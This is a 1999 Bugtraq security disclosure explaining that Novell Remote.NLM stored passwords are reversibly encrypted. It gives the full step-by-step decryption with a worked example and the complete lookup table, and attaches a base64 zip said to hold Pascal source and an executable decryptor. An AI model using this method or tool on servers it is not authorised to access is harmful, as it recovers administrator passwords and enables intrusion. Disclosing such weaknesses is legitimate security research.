Date: Fri, 9 Apr 1999 02:24:45 -0700
From: dreamer@RELIA.NET
To: BUGTRAQ@netspace.org
Subject: New Novell Remote.NLM Password Decryption Algorithm with Exploit
This is a multi-part message in MIME format.
--------------C3F44E7A1FCD10112EBF3761
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I am providing this message in hopes that it will contribute to the
general knowledge of others. Please distribute this document fully
intact, so people can learn the -entire- algorithm.
- - - - - -
Novell is known to use a one-way hash algorithm in their password
encryption, so all captured encrypted passwords must be brute-forced,
slowly and painfully.
However, a few days ago, I cryptographically cracked Novell's Remote.NLM
password encryption algorithm. It is a very weak algorithm compared to
what Novell has implemented in NDS, as it is instantaneously
decryptable.
RConsole password encryption is different from Remote.NLM password
encryption because:
1) Encrypted RConsole passwords are sent across the wire, via RConsole.
Remote.NLM's encrypted passwords are generated at the server console by
typing REMOTE ENCRYPT MyPass, and they are optionally stored in
SYS:System\LDRemote.NCF.
2) They use a different password encryption algorithm. RConsole
passwords are encrypted with information from the workstation that is
currently running RConsole. Remote.NLM passwords are encrypted with a
time byte, one of 255 constants in a hash table, appended characters,
some XORing, and bit-order separation.
3) Encrypted RConsole passwords are locally obtained with a packet
sniffer, but Remote.NLM passwords are remotely accessible to anyone with
the ability to view SYS:System\LDRemote.NCF.
The Remote.NLM passwords are decrypted using only five steps. To
encrypt, simply reverse the steps. I don't know if this would be called
a two-way hash algorithm, but I assume it is.
The password will look something like this:
AF8CBBF48CA9955F5ADAFDADAA23
The structure of the password is as follows:
AF8CBBF48CA99 55F5ADAFDADAA - 23
The first section contains the low-order bits, and the second, the
high-order bits. 23 is the time byte, which is decremented by the
server once every two seconds, from FF to 02, then back up to FF, etc.
Step 1) Realign the low-order bits and high-order bits.
This is extremely simple to do. The high-order bits are in order from
the first character to the last, and so are the low-order bits.
Example:
Password: AF8CBBF48CA99 - 55F5ADAFDADAA,
Output: 5A 5F F8 5C AB DB AF F4 D8 AC DA A9 A9
At this point, ignore 5A 5F F8 5C, or the first four bytes. They are
appended somewhere during encryption, and decrypt to "%*@$".
It was a TERRIBLE idea for Novell to implement those four characters
into every single password, as those are what helped me rebuild their
hash table from scratch. Also, if the length of the password is 10, the
password is automatically decryptable to nul.
Step 2) Match each of the password characters (group of two hex
characters) to the hash table below. Use their position from the
beginning of the table to determine the value of the pre-hash encrypted
password. Example: F4, the 8th character of the password, matches the
hash table at 95. This means that 95 is the pre-hash value of F4.
Thus far, (ignoring the first four characters) the password was:
AB DB AF F4 D8 AC DA A9 A9
and now the password is:
98 A0 9B 95 A1 9D A6 9C 9C
Remote.NLM Hash Table
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00 5B 58 5E 5F 59 5C 5A 5D-73 70 76 77 71 74 72 75
10 13 10 16 17 11 14 12 15-7B 78 7E 7F 79 7C 7A 7D
20 53 50 56 57 51 54 52 55-03 00 06 07 01 04 02 05
30 1B 18 1E 1F 19 1C 1A 1D-0B 08 0E 0F 09 0C 0A 0D
40 2B 28 2E 2F 29 2C 2A 2D-63 60 66 67 61 64 62 65
50 83 80 86 87 81 84 82 85-3B 38 3E 3F 39 3C 3A 3D
60 8B 88 8E 8F 89 8C 8A 8D-33 30 36 37 31 34 32 35
70 93 90 96 97 91 94 92 95-6B 68 6E 6F 69 6C 6A 6D
80 9B 98 9E 9F 99 9C 9A 9D-A3 A0 A6 A7 A1 A4 A2 A5
90 F3 F0 F6 F7 F1 F4 F2 F5-AB A8 AE AF A9 AC AA AD
A0 DB D8 DE DF D9 DC DA DD-FB F8 FE FF F9 FC FA FD
B0 23 20 26 27 21 24 22 25-B3 B0 B6 B7 B1 B4 B2 B5
C0 CB C8 CE CF C9 CC CA CD-BB B8 BE BF B9 BC BA BD
D0 C3 C0 C6 C7 C1 C4 C2 C5-D3 D0 D6 D7 D1 D4 D2 D5
E0 43 40 46 47 41 44 42 45-E3 E0 E6 E7 E1 E4 E2 E5
F0 4B 48 4E 4F 49 4C 4A 4D-EB E8 EE EF E9 EC EA ED
Step 3) Subtract the length (the number of groups of hex characters,
excluding the time character) of the full password from each encrypted
password character. Now you have the ACTUAL pre-hash encrypted
password. If the subtracted value is negative then simply continue from
FF down to the negative value. Example: if the password character is
at 04, and the length is 6, the value of the password character will be
FF.
The length is 13 (D in hex), so the password was:
98 A0 9B 95 A1 9D A6 9C 9C
and is now:
8B 93 8E 88 94 90 99 8F 8F
Step 4) Get the time var, in this situation 23 (hex), and subtract it
from FF. This new character is for use in Step 5. Example: FF-23=DC.
Step 5) Finally, XOR each character (group of 2 hex characters) of the
encrypted password with the new time character, and you now have the
decrypted password!
The password was:
8B 93 8E 88 94 90 99 8F 8F (before the XOR)
Now, the decrypted password is:
57 4F 52 54 48 4C 45 53 53
"WORTHLESS"
I used "worthless" because if I seventeen-year-old with almost NO
experience in cryptography can crack an encryption algorithm, then under
most circumstances the algorithm is ABSOLUTELY WORTHLESS!!!
I have written a program in Pascal (oh well) which decrypts Remote.NLM
passwords instantaneously. I am unsure of the password length limits of
the program because I just wrote it. However, it has never failed to
decrypt a password. I have tested it on a password of around 50
characters, and it worked flawlessly, so there shouldn't be anything to
worry about regarding the length limit.
It can decrypt any character, from 00 to FF, and it will display that
value upon execution.
The source of the program is attached.
If you need help understanding this, or you wish to contribute to this
document, feel free to e-mail me.
TheRuiner
dreamer@relia.net
"Some OTHER operating systems suffer from weak password encryption."
- A quote from Novell's course of Networking Technologies.
--------------C3F44E7A1FCD10112EBF3761
Content-Type: application/zip; name="Remote.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="Remote.zip"
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
AAAEAAQA3gAAACAiAAAAAA==
--------------C3F44E7A1FCD10112EBF3761--
